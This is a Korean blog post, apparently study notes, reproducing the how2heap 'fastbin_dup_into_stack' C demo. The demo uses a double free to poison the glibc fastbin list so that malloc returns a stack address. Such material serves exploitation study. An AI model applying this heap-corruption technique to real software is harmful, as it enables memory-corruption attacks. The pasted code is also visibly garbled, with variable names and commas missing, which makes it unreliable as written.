티스토리 뷰

Pwnable/how2heap

fastbin_dup_into_stack

xxvd 2018. 11. 18. 17:28
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
#include <stdio.h>
#include <stdlib.h>
 
int main()
{
    fprintf(stderr, "이 파일은 fastbin_dup.c 의 확장이다.\n"
           "malloc을 속여서 포인터를 컨트롤 된 위치에 리턴한다.(이 경우, 스택이다.)\n");
 
    unsigned long long stack_var;
 
    fprintf(stderr, "우리가 원하는 malloc()이 리턴하기 원하는 주소는 %p이다.\n"8+(char *)&stack_var);
 
    fprintf(stderr, "3개의 버퍼를 할당합니다.\n");
    int *= malloc(8);
    int *= malloc(8);
    int *= malloc(8);
 
    fprintf(stderr, "1st malloc(8): %p\n", a);
    fprintf(stderr, "2nd malloc(8): %p\n", b);
    fprintf(stderr, "3rd malloc(8): %p\n", c);
 
    fprintf(stderr, "첫번째 것을 free합니다...\n");
    free(a);
 
    fprintf(stderr, "만약 우리가 %p를 다시 free 한다면, %p가 free list의 꼭대기에 있으므로 크래시가 난다.\n", a, a);
    // free(a);
 
    fprintf(stderr, "그러므로, 대신, 우리는 %p을 free 할 것이다.\n", b);
    free(b);
 
    fprintf(stderr, "이제, 우리는 %p를 다시 free 할 수 있습니다, 왜나하면 이것이 free list의 꼭대기에 있기 때문입니다.\n", a);
    free(a);
 
    fprintf(stderr, "이제 free list는 [ %p, %p, %p ]입니다. "
        "우리는 이제 %p에 있는 데이터를 수정하여 공격을 수행합니다.\n", a, b, a, a);
    unsigned long long *= malloc(8);
 
    fprintf(stderr, "1st malloc(8): %p\n", d);
    fprintf(stderr, "2nd malloc(8): %p\n"malloc(8));
    fprintf(stderr, "이제 free list는 [ %p ] 입니다.\n", a);
    fprintf(stderr, "이제, 우리는 %p가 free list의 꼭대기에 남아있는 동안 액세스할 수 있습니다.\n" 
        "그러므로 이제 우리는 가짜 free size를 (이번 경우, 0x20) 스택에 쓸 수 있습니다,\n"
        "그래서 malloc은 거기에 free chunk가 있다고 생각하고 그것에 포인터를 돌려주는 것에 동의할 것이다.\n", a);
    stack_var = 0x20;
 
    fprintf(stderr, "이제 %p의 첫 8바이트 데이터를 0x20 바로 뒤에 지정하도록 덮어씁니다.\n", a);
    *= (unsigned long long) (((char*)&stack_var) - sizeof(d));
 
    fprintf(stderr, "3rd malloc(8): %p, 스택 주소를 free list에 넣습니다.\n"malloc(8));
    fprintf(stderr, "4th malloc(8): %p\n"malloc(8));
}
cs

'Pwnable > how2heap' 카테고리의 다른 글

fastbin_dup  (0) 2018.11.18
first_fit  (0) 2018.09.17
댓글
공지사항
최근에 올라온 글
최근에 달린 댓글
Total
Today
Yesterday
TAG
more
«   2024/05   »
1 2 3 4
5 6 7 8 9 10 11
12 13 14 15 16 17 18
19 20 21 22 23 24 25
26 27 28 29 30 31
글 보관함